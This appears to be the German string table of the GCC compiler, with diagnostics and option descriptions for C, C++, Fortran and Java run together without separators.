Host verbundene Variable »%s« darf nicht in DATA-Anweisung bei %C stehenWie oft soll Stelle im Quelltext beim Anfang von zeilenumgebrochener Diagnose ausgegeben werdenICE: emit_insn verwendet, wo emit_jump_insn erforderlich:
ID der zu bauenden Shared LibraryID-gemeinsam genutzte Bibliotheken und FD-PIC-Modus können nicht zusammen verwendet werden.IF-Klausel bei %L erfordert einen skalaren LOGICAL-AusdruckIMPORT-Anweisung bei %C ist nur in einem INTERFACE-Körper erlaubtINQUIRE-Anweisung bei %L kann nicht sowohl FILE- als auch UNIT-Spezifikationssymbole enthaltenINQUIRE-Anweisung bei %L erfordert entweder FILE- oder UNIT-SpezifikationssymbolINQUIRE-Anweisung in PURE-Prozedur bei %C nicht erlaubtINTENT(%s) steht mit INTENT(%s) bei %L in KonfliktSchnittstellenprozedur »%s« bei %L hat den selben Namen wie die umgebende ProzedurIOLENGTH-Markierung in INQUIRE-Anweisung bei %C ungültigISO-C unterstützt kein %<++%> und %<--%> für komplexe TypenISO-C unterstützt nicht %<~%> für komplexe KonjugationISO-C unterstützt keine komplexen GanzzahltypenISO-C unterstützt kein dezimales GleitkommaISO-C unterstützt keine GanzzahltypenISO-C unterstützt nicht %<double complex%> bedeutendes einfaches %<complex%>ISO-C unterstützt keine sättigenden TypenISO-C unterstützt keine namenlosen structs/unionsISO-C verbietet %<goto *expr;%>ISO-C verbietet %<return%> mit Ausdruck, in void zurückgebender FunktionISO-C verbietet Zuweisung zwischen Funktionszeiger und %<void *%>ISO-C verbietet Typkonvertierung von Nicht-Skalar auf selben TypenISO-C verbietet Typkonvertierung auf union-TypISO-C verbietet Vergleich von %<void *%> mit FunktionszeigerISO-C verbietet bedingten Ausdruck zwischen %<void *%> und FunktionszeigerISO-C verbietet bedingten Ausdruck mit nur einer void-SeiteISO-C verbietet const- oder volatile-FunktionstypenISO-C verbietet Konvertierung von Funktionszeigern in ObjektzeigertypISO-C verbietet Konvertierung von Objektzeigertypen in FunktionszeigertypISO-C verbietet Vorwärtsdeklaration für ParameterISO-C verbietet Initialisierung zwischen Funktionszeiger und %<void *%>ISO-C verbietet geordnete Vergleiche zwischen Zeigern auf FunktionenISO-C verbietet Übergabe des Arguments %d von %qE zwischen Funktionszeiger und %<void *%>ISO-C verbietet qualifizierte FunktionstypenISO-C verbietet return zwischen Funktionszeiger und %<void *%>ISO-C verbietet, ein %<register%>-Feld zu indizierenISO-C verbietet Feld %qs der Größe nullISO-C verbietet Argumentkonvertierung in union-TypISO-C beschränkt Aufzählungswerte auf Bereich von %<int%>ISO-C++ 1998 unterstützt nicht %<long long%>ISO-C++ erlaubt keine benannten InitialisierungenISO-C++ erlaubt nicht, %<%T::%D%> als %<%T::%D%> zu definierenISO-C++ verbietet %s zwischen Zeiger des Typs %<void *%> und Zeiger auf FunktionISO-C++ verbietet Anwendung von %<__alignof%> auf einen Ausdruck mit FunktionstypISO-C++ verbietet Anwendung von %<sizeof%> auf einen Ausdruck mit FunktionstypISO-C++ verbietet Gruppen in geschweiften Klammern innerhalb von AusdrückenISO-C++ verbietet den Aufruf von %<::main%> vom Programm ausISO-C++ verbietet Umwandlung zwischen Zeiger auf Funktion und Zeiger auf ObjektISO-C++ verbietet Umwandlung in Feldtyp %qTISO-C++ verbietet Vergleich zwischen Zeiger und GanzzahlISO-C++ verbietet zusammengesetzte LiteraleISO-C++ verbietet berechnete GotosISO-C++ verbietet Deklaration von %qs ohne TypISO-C++ verbietet Verringern eines Zeigers vom Typ %qTISO-C++ verbietet verringern einer AufzählungISO-C++ verbietet Initialisierung des nicht konstanten statischen Elements %qD in der KlasseISO-C++ verbietet Erhöhen eines Zeigers vom Typ %qTISO-C++ verbietet erhöhen einer AufzählungISO-C++ verbietet Initialisierung eines Feldes mit »new«ISO-C++ verbietet Initialisierung des Elementes %qDISO-C++ verbietet Initialisierung der Elementkonstante %qD vom nicht eingebauten Typen %qTISO-C++ verbietet geschachtelten Typen %qD mit gleichem Namen wie umschließende KlasseISO-C++ verbietet das Auslassen des mittleren Terms eines »?:«-AusdruckesISO-C++ verbietet Indizierung eines Nicht-L-Wert-FeldesISO-C++ verbietet das Ermitteln der Adresse der Funktion %<::main%>ISO-C++ verbietet das Ermitteln der Adresse einer gebundenen Elementfunktion, um einen Zeiger auf Elementfunktion zu erzeugen. Stattdessen %<&%T::%D%> verwendenISO-C++ verbietet das Ermitteln der Adresse einer Umwandlung in einen Nicht-L-Wert-AusdruckISO-C++ verbietet das Ermitteln der Adresse einer nicht qualifizierten oder geklammerten nicht-statischen Elementfunktion, um einen Zeiger auf Elementfunktion zu erzeugen. Stattdessen %<&%T::%D%> verwendenISO-C++ verbietet die Verwendung von %qE bei expliziten InstanziierungenISO-C++ verbietet die Verwendung einer Initialisierungsliste zur Initialisierung der Referenz %qDISO-C++ verbietet die Verwendung eines Zeigers des Typs %<void *%> in SubtraktionISO-C++ verbietet die Verwendung eines Zeigers auf eine Funktion in SubtraktionISO-C++ verbietet die Verwendung eines Zeigers auf Methode in SubtraktionISO-C++ verbietet Feld variabler LängeISO-C++ verbietet Feld %qD variabler LängeISO-C++ verbietet Feld der Größe nullISO-C++ verbietet Feld %qD der Größe nullISO-C++ verbietet anonyme structsISO-C++ verbietet Überladen des Operators ?:ISO C++ besagt, dass diese mehrdeutig sind, auch wenn die schlechteste Umwandlung für das erste besser ist als die schlechteste Umwandlung für das zweite:ISO-C90 unterstützt nicht %<[*]%>-FelddeklaratorenISO-C90 unterstützt nicht %<long long%>ISO-C90 unterstützt kein %<static%> oder Typkennzeichner in ParameterfelddeklaratorenISO-C90 unterstützt keine komplexen TypenISO-C90 unterstützt keine flexiblen Felder als ElementeISO-C90 verbietet Feld %qs, dessen Größe nicht ausgewertet werden kannISO-C90 verbietet Feld, dessen Größe nicht ausgewertet werden kannISO-C90 verbietet, ein Nicht-L-Wert-Feld zu indizierenISO-C90 verbietet Feld variabler GrößeISO-C90 verbietet Feld %qs variabler GrößeWenn -ftree-vectorize verwendet wird, die minimale Schleifengrenze einer für Vektorisierung zu betrachtenden SchleifeWenn -fvariable-expansion-in-unroller verwendet wird, die Höchstzahl der Fälle, dass eine bestimmte Variable während Loop-Unrolling expandiert wirdWenn das erste Argument von ATAN2 %L Null ist, dann darf das zweite Argument nicht Null seinWenn die Anzahl der Kandidaten in der Menge kleiner ist, wird immer versucht, ungenutzte IVs während ihrer Optimierung zu entfernenWenn Planung nach dem Neuladen, dann Superblock-PlanungWenn Planung nach dem Neuladen, dann VerfolgungsplanungWenn gesetzt, werden steuerungs-spekulative Anweisungen nur gewählt, wenn es es im Moment keine andere Wahl gibt Wenn gesetzt, werden daten-spekulative Anweisungen nur gewählt, wenn es es im Moment keine andere Wahl gibt »D« in Spalte eins in statischer Form ignorierenAttribut dllimport für Funktionen ignorierendllimport für Funktionen erzeugenLeseoperationen ignorieren, wenn Schmutzfänger-Einsatz eingefügt wirdIgnoriert (veraltet)Anweisungsmarke in leerer Anweisung bei %C wird ignoriertIllegale STAT-Variable in %s-Anweisung bei %C für eine PURE-ProzedurUnzulässiges Zeichen in BOZ-Konstante bei %CIllegaler Freigabeausdruck in DEALLOCATE bei %C für eine PURE-ProzedurUngültiger Referenztyp bei %L als EQUIVALENCE-ObjektUnzulässiger Schritt von Null bei %LIllegale Variable in NULLIFY bei %C für eine PURE-ProzedurVtables mit Thunks implementierenSpezifikationsfunktion »%s« bei %L kann keine interne Funktion seinImplizit deklarierte BIND(C)-Variable »%s« bei %L kann nicht C-kompatibel seinImplizit angegebener PARAMETER »%s« bei %L passt nicht zu früherem IMPLICIT-TypIn %+D: überlappende Variablen- und Ausnahmebereiche bei %dIn C++ bedeutet ungleich Null die Warnung vor veralteter Umwandlung von Zeichenkettenliteralen in »char *«. In C erfolgt ähnliche Warnung, nur ist die Umwandlung nat. laut ISO-C-Standard nicht veraltet.In Funktion %qsIn Elementfunktion %qsInhalt der <Datei> vor anderen Dateien einfügenUnverträglicher abgeleiteter Typ in PARAMETER bei %LUnverträgliche Ränge %d und %d in Zuweisung bei %LUnverträgliche Ränge in %s (%d und %d) bei %LInkonsistente Äquivalenzregeln mit »%s« bei %L und »%s« bei %LRänge für Operator bei %%L und %%L stimmen nicht übereinFalscher Funktions-RückgabewertIEEE-Befolgung für Gleitkommacode erhöhenIndex in Dimension %d ist außerhalb der Grenzen bei %LAnzahl der verfügbaren Soft-Register anzeigenInitialisierung bei %C ist in PURE-Prozedur nicht erlaubtInitialisierung bei %C ist nicht für eine ZeigervariableInitialisierungsausdruck reduzierte nicht %CInitialisierung einer allozierbaren Komponente bei %C ist nicht erlaubtInitialisierung des Zeigers bei %C ist nicht in einer PURE-Prozedur erlaubtInitialisierung einer Variablen bei %C ist in einer PURE-Prozedur nicht erlaubtLokale Variablen auf Null initialisieren (von g77)Initialisiertes Symbol »%s« bei %C kann nur COMMON in BLOCK DATA seinInitialisierte Variable »%s« bei %L ist in leerem COMMON, aber Initialisierung ist nur in in benannten Common-Blocks erlaubtInitialisierung für PARAMETER »%s« bei %C nicht erlaubtInitialisierung einer bereits initialisierten Variablen bei %CFriend-Funktionen in umgebenden Namensraum einfügenAlle bekannten Zeichenkettenoperationen einbetten (inline)Konstanten einbetten, wenn es mit 2 Befehlen oder weniger gehtStandardmäßig »inline«-ElementfunktionenZeichenkettenoperationen memset/memcpy als »inline« einfügen, aber Inline-Version nur für kleine Blöcke durchführenRekursives inline nur, wenn die Wahrscheinlichkeit des Aufrufs den Parameter überschreitetEingabedatei ist eine Datei mit einer Liste der Dateinamen zum ÜbersetzenArc-basierten Programm-Profilierungscode einfügenCode in Profilwerte von Ausdrücken einfügenStapelprüfung in das Programm einfügenEin- und Austritte von Funktionen beim Profilieren von Aufrufen verwendenGanzzahlausdruck erforderlich bei %CGanzzahlart %d bei %C nicht verfügbarGanzzahl außerhalb symmetrischem Bereich wegen Standard-Fortran bei %LGanzzahl außerhalb des symmetrischen Bereiches wegen Standard-Fortran-Konvertierung von %s in %s bei %LGanzzahlüberlaufGanzzahl zu groß für Ganzzahlart %i bei %CGanzzahl zu groß für ihre Art bei %C. Diese Überprüfung kann mit der Option -fno-range-check ausgeschaltet werdenGanzzahl bei %C zu großGanzzahl zu groß in Form-Spezifikation bei %LGanzzahlwert zu groß in Ausdruck bei %CEinmal aufgerufene Funktionen in ihre Aufrufer einfügenEinfache Funktionen in ihre Aufrufer einfügenEinfache Funktionen in ihre Aufrufer einfügen, wenn Codegröße als nicht wachsend bekannt istSchnittstelle »%s« bei %C kann keine Anweisungsfunktion seinSchnittstelle »%s« bei %C kann nicht allgemein seinSchnittstelle »%s« der Prozedur »%s« bei %L muss explizit seinSchnittstelle »%s«, von Prozedur »%s« bei %L verwendet, ist in späterer PROCEDURE-Anweisung deklariertInterner Fehler bei (1):Interner Compilerfehler: Fehlerbehandlungsroutinen doppelt betreten.
Interner Fehler: %s (Programm %s)
Bitte senden Sie einen vollständigen Fehlerbericht
auf Englisch ein; Fehler in der deutschen Übersetzung
sind an translation-team-de@lists.sourceforge.net zu melden.
Gehen Sie gemäß den Hinweisen in %s vor.Interne Prozedur »%s« ist nicht als effektives Argument bei %L erlaubtInterne Einheit mit Vektor-Index bei %LCode in Zeichen-Daten im Text-Abschnitt einstreuenIntrinsisches »%s« bei %L kann keine Initialisierung habenEingebautes »%s« bei %L ist nicht als effektives Argument erlaubtDas intrinsische »%s« bei %L muss mindestens zwei Argumente habenIntrinsisches TRANSFER bei %L hat teilweise undefiniertes Ergebnis: Quellgröße %ld < Ergebnisgröße %ldInnere Funktion %s(%d) nicht erkanntIntrinsische Funktion »%s« bei %L ist nicht in einem Initialisierungs-Ausdruck erlaubtBei %2$L referenzierter intrinsischer Operator »%1$s« nicht im Modul »%3$s« gefundenSchnittstelle des intrinsischen Operators bei %L muss eine FUNCTION seinIntrinsische Prozedur »%s« ist in PROCEDURE-Anweisung bei %C nicht erlaubtIntrinsisches Unterprogramm »%s« bei %L sollte keine Typspezifizierung habenUngültiger C-Name in NAME=-Spezifizierung bei %CUngültige Hollerithkonstante: %L muss mindestens ein Zeichen enthaltenUngültige Hollerithkonstante: Ganzzahlart bei %L sollte Standard seinUngültiger KIND-Parameter von %s bei %LUngültiges Zeichen in Name bei %CUngültiger Kontext für NULL()-Zeiger bei %%LUngültige Form der PROGRAM-Anweisung bei %CUngültige Form der Feldreferenz bei %CUngültige Initialisierung %s in Data-Anweisung bei %CUngültige Art %d für CHARACTER-Konstante bei %CUngültige Art für %s bei %LUngültige Permutation in ORDER-Parameter bei %LUnzulässige Realart %d bei %CUngültiges zweites Argument von IBCLR bei %LUngültiges zweites Argument von IBITS bei %LUngültiges zweites Argument von IBSET bei %LUngültiges zweites Argument von ISHFT bei %LUngültiges zweites Argument von ISHFTC bei %LUngültiges drittes Argument von IBITS bei %LUngültiges drittes Argument von ISHFTC bei %LFür strikte Standardbefolgung benötigte Warnungen ausgebenIteratorschritt bei %L kann nicht Null seinObjekt der Java-Klasse %q#T mit Platzierung new reserviertJava-Klasse %qT kann keinen Destruktor habenJava-Klasse %qT kann keinen impliziten nicht-trivialen Destruktor habenJava-Klasse %qT kann nicht mehrere Basen habenJava-Klasse %qT kann keine virtuellen Basen habenJava-Methode %qD hat Nicht-Java-Parametertyp %qTJava-Methode %qD hat Nicht-Java-Rückgabetyp %qTJava-Objekt %qD nicht mit %<new%> reserviertSprungziele werden zu dieser Zweierpotenz ausgerichtetEinfach Abwicklungstabellen für Ausnahmebehandlung erzeugenEinfach icc0/fcc0 verwendenKIND-Parameter von %s bei %L muss ein Initialisierungsausdruck seinSchlüsselwort »%s« bei %C bereits in aktueller Argumentliste aufgetretenSchlüsselwort-Argument »%s« bei %L ist bereits mit einem anderen effektiven Argument verbundenSchlüsselwort-Argument »%s« bei %L ist nicht in der ProzedurDie Art %d wird für CHARACTER bei %C nicht unterstütztDie Art %d wird für Typ %s bei %C nicht unterstütztL%d Cache-Wartezeit unbekannt für %sLOGICAL-Operanden werden in Ausdruck bei %L benötigtMarke %d bei %C bereits als eine Formatmarke referenziertMarke %d bei %C bereits als Sprungziel referenziertMarke %d bei %C vorher als FORMAT-Marke verwendetMarke %d bei %C vorher als Sprungziel verwendetMarke %d bei %L definiert, kann aber nicht verwendet werdenMarke %d bei %L definiert, aber nicht verwendetMarke %d wird bei %L referenziert aber nirgendwo definiertMarke »%s« bei %C passt nicht zur IF-Marke »%s«Marke »%s« bei %C passt nicht zur WHERE-Marke »%s«Marke bei %L ist nicht im gleichen Block wie GOTO-Anweisung bei %LMarkenname »%s« bei %C ist mehrdeutigBuchstabe %c hat bereits einen IMPLICIT-Typ bei %CBuchstabe »%c« bereits gesetzt in IMPLICIT-Anweisung bei %CBuchstaben in IMPLICIT-Anweisung bei %C müssen in alphabetischer Reihenfolge seinBeschränkungen für GOT-Größe aufhebenWie -M, aber System-Header-Dateien ignorierenWie -MD, aber System-Header-Dateien ignorierenWie -pedantic, aber als Fehler ausgebenDiagnosemeldungen auf <Anzahl> Zeichen pro Zeile beschränken. 0 unterdrückt ZeilenumbruchGrenze von %d Fortsetzungen in Anweisung bei %C überschrittenGröße von »inline«-Funktionen auf <Zahl> beschränkenZeile bei %C wird abgeschnitten%s von %d Zeilen ausgeführt
Binden, um Programm im ELF-Format auszugeben (statt mmo)Mit libads.a, libc.a und crt0.o bindenMit libmvme.a, libc.a und crt0.o bindenMit libsim.a, libc.a und sim-crt0.o bindenMit libyk.a, libc.a und crt0.o bindenMit schneller Gleitkomma-Bibliothek linkenMit Library-PIC-Bibliotheken linkenAlle verfügbaren Fehleranalysezähler mit ihren Grenzen und Werten auflisten.Logischer SELECT CASE Block bei %L hat mehr als zwei FälleLogischer Bereich in CASE-Anweisung bei %L ist nicht erlaubtLogische Werte bei %%L müssen mit %s statt mit %s verglichen werdenPCH-Dateien suchen und verwenden, sogar bei VorverarbeitungSchleifen zu dieser Zweierpotenz ausrichtenSchleifenvariable »%s« bei %C kann nicht INTENT(IN) seinSchleifenvariable bei %C kann keine Unter-Komponente seinSchleifen mit mindestens der angegebenen Durchlaufzahl erhalten Schleifenausrichtung.Untere Feldreferenz bei %L ist außerhalb der Schranken (%ld < %ld) in Dimension %dUntere Feldreferenz bei %L ist außerhalb der Schranken (%ld > %ld) in Dimension %dMCU %qs nur für Assemblierung unterstütztMIPS16-TLSMMIX-intern: %s ist kein schiebbares intMMIX-intern: Falsches Register: %dMMIX-intern: Falscher Wert für 'm', kein CONST_INTMMIX-internal: Dieser Operand kann nicht dekodiert werdenMMIX-intern: CONST_INT erwartet, aber nicht diesMMIX-intern: Konstante erwartet, aber nicht diesMMIX-intern: Register erwartet, aber nicht diesMMIX-intern: Letzte benannte Vararg würde nicht in ein Register passenMMIX-intern: Fall %qc fehlt in mmix_print_operandMMIX-intern: Dies ist keine Konstante:MMIX-intern: Diese Adresse wird nicht erkanntMMIX-intern: Versuch, ungültig umgekehrte Bedingung auszugeben:MMIX-intern: Was ist der CC davon?MMIX-intern: Was ist der CC davon?MMX-Vektorargument ohne eingeschaltetes MMX ändert das ABIMMX-Vektorrückgabe ohne eingeschaltetes MMX ändert das ABIMODULE PROCEDURE bei %C muss in einer generischen Modulschnittstelle seinMULT-Fall in cris_op_strGröße des zweiten Arguments von ISHFT überschreitet Bit-Größe bei %LGröße des zweiten Arguments von ISHFTC überschreitet BIT_SIZE des ersten Arguments bei %LGröße des zweiten Arguments von ISHFTC überschreitet drittes Argument bei %LGröße des dritten Arguments von ISHFTC überschreitet BIT_SIZE des ersten Arguments bei %LRückwärtskettenzeiger pflegen»char« standardmäßig vorzeichenbehaftet machen»char« standardmäßig vorzeichenunbehaftet machenÜbersetzung mit <Zeichenkette> reproduzierbar machenGanzzahlen 32 Bit breit machenStructs Vielfache von 4 Bytes machen (Warnung: ABI geändert)Sicherstellen, dass Laden/Speichern nicht hinter DMA-Befehle verschoben wirdMaschine zur Binder-Entspannung soll annehmen, dass ein Befehlszählerübersprung auftritt.In Fehlersuchinfo einen Verzeichnisnamen auf einen anderen abbilden<Register> als durch Funktionsaufrufe beschädigt markieren<Register> als über Funktionsgrenzen hinweg reserviert markieren<Register> als für den Compiler nicht verfügbar markierenMAC-Register als Aufruf-zerstört markierenAlle inline-Methoden mit versteckter Sichtbarkeit markierenMaximaler Code-Zuwachs durch Ende-Vervielfältigung (in Prozent)Maximales Wachstum durch »inline« einer großen Funktion (in Prozent)Maximales Stack-Rahmen-Wachstum durch »inline« (in Prozent)Größte BezeichnerlängeGrößte Zeichenlänge für TeildatensätzeMaximalgröße der partiellen Aufwandsmenge, wenn Baumvoroptimierung ausgeführt wirdHöchstzahl der zu meldenden FehlerDie Höchstzahl der Felder in einer Struktur, bevor Zeigeranalyse sie als einzelne Variable behandeltHöchstzahl der in einem Block erlaubten Anweisungen, die für Sprungbehandlung vervielfältigt werden müssenMaximalgröße eines SCC bevor SCCVN zur Bearbeitung einer Funktion anhältHöchste Teildatensatzlänge kann %d nicht überschreitenHöchste unterstützte Bezeichnerlänge ist %dSpeicherreservierung gescheitertSpeicherpartitionen sollten mindestens ein Symbol habenMin/Max-Befehle erlaubtMin/Max-Befehle nicht erlaubtMinimale Heaperweiterung, die Speicherbereinigung anstößt, als Prozentsatz der Gesamtgröße des HeapKleinste Heapgröße vor Speicherbereinigungsbeginn, in KilobytesMindestanzahl der zum Umschalten auf vollständige virtuelle Umbenennungen zu betrachtenden virtuellen MappingsIn fortgesetzter Zeichenkonstante bei %C fehlt »&«Fehlender SHAPE-Parameter für Aufruf von »%s« bei %LFehlendes effektives Argument »%s« in Aufruf von »%s« bei %LFehlendes effektives Argument für Argument »%s« bei %LFehlende alternative Rückgabespezifikation in Unterprogrammaufruf bei %LFehlende Argumentliste in Funktion »%s« bei %CFehlendes Argument für »%s« bei %CFehlende Argumente für intrinsisches %s bei %LFehlende Feldspezifikation bei %L in DIMENSION-AnweisungFehlender Zeichenbereich in IMPLICIT bei %CSchließende Klammer für Bindungsmarke bei %C fehltSchließendes Anführungszeichen »"« für Bindungsmarke bei %C fehltSchließendes Anführungszeichen »'« für Bindungsmarke bei %C fehltFehlende Dimensionsangabe bei %CEintrag oder gemeinsamer Blockname für Attribut-Spezifikationsanweisung bei %C fehltFehlender Exponent in Realzahl bei %CFehlende Format-Marke bei %CFehlende allgemeine Spezifikation in USE-Anweisung bei %CFehlender Schlüsselwortname in effektiver Argumentliste bei %CFehlender Art-Parameter bei %CFührende linke Klammer fehltErforderte Klammern vor BIND(C) bei %C fehlenFehlende rechte Klammer bei %CFehlende rechte Klammer oder Komma bei %CModul %s in Zeile %d, Spalte %d: %sModul-Eigenschaft in USE-Anweisung bei %C sollte entweder INTRINSIC oder NON_INTRINSIC seinMehr effektive als formale Argumente in Aufruf von »%s« bei %LMehr effektive als formale Argumente in Prozeduraufruf bei %LBerechnung der Schleifeninvarianten außerhalb der Schleifen legenMehrere Bezeichner mit einzelner Spezifikation NAME= bei %C angegebenNAME nicht erlaubt bei BIND(C) für ABSTRACT INTERFACE bei %CNAMELIST-Feldobjekt »%s« muss konstante Form in Namensliste »%s« bei %L habenNAMELIST-Feldobjekt »%s« darf in Namensliste »%s« bei %L keine vermutete Form habenNAMELIST-Objekt »%s« hat PRIVATE-Komponenten und kann kein Element der PUBLIC-Namensliste »%s« bei %L seinNAMELIST-Objekt »%s« hat benutzungs-verbundene PRIVATE-Komponenten und kann kein Element der Namensliste »%s« bei %L seinNAMELIST-Objekt »%s« in Namensliste »%s« bei %L kann nicht ALLOCATABLE-Komponenten habenNamenslistenobjekt »%s« in Namensliste »%s« bei %L kann keine POINTER-Komponenten habenNAMELIST-Objekt »%s« wurde als PRIVATE deklariert und kann kein Element der PUBLIC-Namensliste »%s« bei %L seinNOTE_INSN_BASIC_BLOCK %d in der Mitte des Basis-Blocks %dNOTE_INSN_BASIC_BLOCK fehlt für Block %dAuf rechter Seite in Zuweisung bei %L tritt NULL aufNULL-Zeiger bei %L ist nicht als effektives Argument der intrinsischen Funktion »%s« erlaubtNULL in Arithmetik verwendetNULL()-Initialisierung bei %C ist mehrdeutigKlausel NUM_THREADS bei %L erfordert einen skalaren INTEGER-AusdruckName »%s« bei %C ist bereits als eine allgemeine Schnittstelle bei %L definiertName »%s« bei %C ist eine mehrdeutige Referenz auf »%s« von aktueller ProgrammeinheitName »%s« bei %C ist eine mehrdeutige Referenz auf »%s« vom Modul »%s«Name »%s« bei %C ist der Name der ProzedurName »%s« in %s-Anweisung bei %C ist kein SchleifennameName »%s« des ABSTRACT INTERFACE bei %C kann nicht der gleiche wie ein intrinsischer Typ seinName hinter »!$omp critical« und »!$omp end critical« passt nicht bei %CName bei %C ist zu langName zu langBenannter COMMON-Block »%s« bei %L sollte die gleiche Größe habenBenannte Konstante »%s« bei %L kann kein EQUIVALENCE-Objekt seinBenannte Konstante bei %C in EQUIVALENCENamensliste %s kann nicht mit USE-Verbindung in %s umbenannt werdenGruppenname »%s« der Namensliste bei %C hat bereits einen Basistypen von »%s«Gruppenname »%s« der Namensliste bei %C ist bereits USE-verbunden und kann nicht respezifiziert werden.Aufrufzerstörtes Zielregister erforderlichEin zweites aufrufzerstörtes Mehrzweckregister wird benötigtEntweder Eintrag oder gemeinsamer Blockname für Attribut-Spezifikationsanweisung bei %C erforderlichIn BIND(C) bei %C ist kein bindender Name erlaubtKeine Zweige
Keine Aufrufe
Kein voreingestelltes crt0.oKeine ausführbaren Zeilen
Benutzerdefinierte Nicht-ELEMENTAL-Zuweisung in WHERE bei %LNicht-threadprivates Objekt »%s« in Klausel COPYIN bei %LNicht-numerisches Zeichen in Anweisungsmarke bei %CTab-Zeichen bei %C passt nichtUnpassendes Tab-Zeichen in Spalte %d der Zeile %dAbschnitt eines nicht konstanten Feldes bei %L in DATA-AnweisungNicht-negative Breite benötigtNicht-Standard Typ-Deklaration %s*%d bei %CKeine gültige Java-.class-Datei.
Anzahl der Memreg-Bytes (Standard: 16, Bereich: 0..16)Anzahl der zur Übergabe von Ganzzahlargumenten verwendeten RegisterNumerischer PARAMETER in komplexer Konstante bei %C erforderlichIn Ausdruck bei %L werden numerische Operanden benötigtNumerische oder CHARACTER-Operanden benötigt in Ausdruck bei %LOPEN-Anweisung in PURE-Prozedur bei %C nicht erlaubtORDER-Parameter von RESHAPE bei %L hat nicht die gleiche Größe wie SHAPE-ParameterORDER-Parameter von RESHAPE bei %L ist außerhalb des WertebereichesObjekt »%s« bei %L muss das SAVE-Attribut für Standardinitialisierung einer Komponente habenObjective-C-Deklarationen dürfen nur im globalen Gültigkeitsbereich erscheinenVeraltet: Arithmetische IF-Anweisung bei %CDeklaration %s*%d im alten Stil wird bei %C nicht unterstütztRahmenzeiger für Blattfunktionen auslassenSchritt zur Bereichsverkleinerung auslassen, wenn komplexe Division durchgeführt wirdRahmenzeiger in Blattfunktionen auslassenNur intrinsische Operatoren können in Ausdruck bei %L verwendet werdenNur einen Befehl pro Durchgang ausgebenNur 32 FPRs verwendenNur 32 GPR verwendenOpenMP-Anweisungen bei %C dürfen in PURE- oder ELEMENTAL-Prozeduren nicht auftretenOperand des Operators .not. bei %%L ist %sOperand des unären numerischen Operators »%s« bei %%L ist %sOperand des Benutzeroperators »%s« bei %%L ist %sOperanden des binären numerischen Operators »%s« bei %%L sind %s/%sOperanden des Vergleichsoperators »%s« bei %%L sind %s/%sOperanden des logischen Operators »%s« bei %%L sind %s/%sOperanden des Zeichenkettenverkettungsoperators bei %%L sind %s/%sOperanden des Benutzeroperators »%s« bei %%L sind %s/%sOperatorschnittstelle bei %L steht mit intrinsischer Schnittstelle in KonfliktOperatorschnittstelle bei %L hat falsche ArgumentanzahlOperatorschnittstelle bei %L darf höchstens zwei Argumente habenAuf Größe statt Geschwindigkeit optimierenInduktionsvariablen auf Bäumen optimierenlui/addiu-Adressladebefehle optimierenGeschwister- und endrekursive Aufrufe optimierenEnde-Aufruf-Befehle in Assembler und Binder optimierenAusgabe für PROCESSOR optimierenOption -fwhole-program wird für Fortran nicht unterstütztOptionen:
Platz im Hauptspeicher reicht nicht ausSpeicher voll -- malloc() gescheitertStapelspeicher aufgebraucht.
Klassendatei ausgebenBefehlsgrößen in die asm-Datei ausgebenÜberlappende ungleiche Initialisierungen in EQUIVALENCE bei %L-mbest-lib-options überschreibenP-Deskriptor benötigt führenden SkalierungsfaktorPAD-Parameter erforderlich für kurzen SOURCE-Parameter bei %LPARAMETER »%s« wird bei %L verwendet, bevor dessen Definition vollständig istfehlende Initialisierung für PARAMETER bei %LPHI-Argument fehlt für Kante %d->%dPHI-Argument ist kein SSA_NAME, oder invariantPIC-Codeerzeugung ist mit schnellen indirekten Aufrufen unverträglichPIC-Codeerzeugung wird im portierbaren Laufzeitmodell nicht unterstütztPIC wird nur für RTPs unterstütztPIC wird benötigt, wird aber nicht mit CONST16-Befehlen unterstütztPIC-Register %qs wird in %<asm%> zerstörtPIC-Register ist nicht vorbereitetPOINTER-Objekt »%s« in Klausel %s bei %LPOINTER-wertige Funktion tritt auf rechter Seite der Zuweisung bei %L aufPRINT-Namensliste bei %C ist eine ErweiterungPRINT-Anweisung bei %C innerhalb PURE-Prozedur nicht erlaubtPRINT_OPERAND Null-ZeigerPRINT_OPERAND: Unbekanntes Zeichen '%c'PRINT_OPERAND_ADDRESS, Null-ZeigerPRIVATE-Anweisung bei %C ist nur in Spezifikationsteil eines Moduls erlaubtPRIVATE-Anweisung bei %C muss Strukturkomponenten vorausgehenPRIVATE-Anweisung in TYPE bei %C muss innerhalb eines MODULEs seinPROCEDURE bei %C muss in einer allgemeinen Schnittstelle seinAttribut PROCEDURE steht mit Attribut NAMELIST in »%s« bei %L in KonfliktPROTECTED bei %C nur in Spezifikationsabschnitts eines Moduls erlaubtPUBLIC-Anweisung bei %C ist nur in Spezifikationsteil eines Moduls erlaubtVLIW-Befehle packenStrukturelemente ohne Lücken zusammenpackenParameter »%s« bei %L wurde nicht deklariert oder ist eine Variable, die nicht zu konstantem Ausdruck reduziertParameter »%s« für »%s« bei %L muss BIND(C) seinParameter »%s« für »%s« bei %L muss eine Prozedur seinParameter »%s« für »%s« bei %L muss ein Skalar seinParameter »%s« für »%s« bei %L muss entweder ein TARGET oder ein zugeordneter Zeiger seinParameterfeld »%s« bei %L kann nicht automatische oder vermutete Form habenPartitionierte Symbole sollten zu genau einer Partition gehören-assert pure-text an Binder übergebenFP-Argumente an FP-Register übergebenÜbergabe der eingebauten Prozedur über die Speicherstelle ist bei %L nicht erlaubtAuf das »inline«-Schlüsselwort achtenDWARF2-Wiederholungsbeseitigung durchführenZwischenprozedurale Konstantenweitergabe durchführenSMS-basierte modulo-Planung vor erstem Planungsdurchlauf durchführenSMS-basierte modulo-Planung mit erlaubten Register-Bewegungen durchführenVR4130-spezifische Ausrichtungs-Optimierungen durchführenWertebereichsweitergabe auf Bäumen durchführenSchritt zur Vorwärts-Übertragung auf RTL durchführenEine Reihe kleiner, aber teurer, Optimierungen durchführenOptimierungsdurchlauf zur Kopierübertragung von Registern durchführenEinen Optimierungsdurchgang zur Registerumbenennung durchführenLadeoptimierung für Sprungziele nach Prolog/Epilog-Behandlung ausführenLadeoptimierungen für Sprungziele vor Prolog/Epilog-Behandlung ausführenUmwandlung bedingter Sprünge in zweiglose Äquivalente durchführenUmwandlung bedingter Sprünge in bedingte Ausführung durchführenOptimierung zum Kreuzsprung durchführenFrühes Inlining durchführenErweiterte Ladebewegung während Beseitigung globaler gemeinsamer Teilausdrücke durchführenBeseitigung globaler gemeinsamer Teilausdrücke durchführenBeseitigung globaler gemeinsamer Teilausdrücke nach Registerreservierung durchführenZwischenprozedurale Zeigeranalyse durchführenSprung-Threading-Optimierungen durchführenLebensdaueraufteilung während des SSA-Normaldurchlaufs 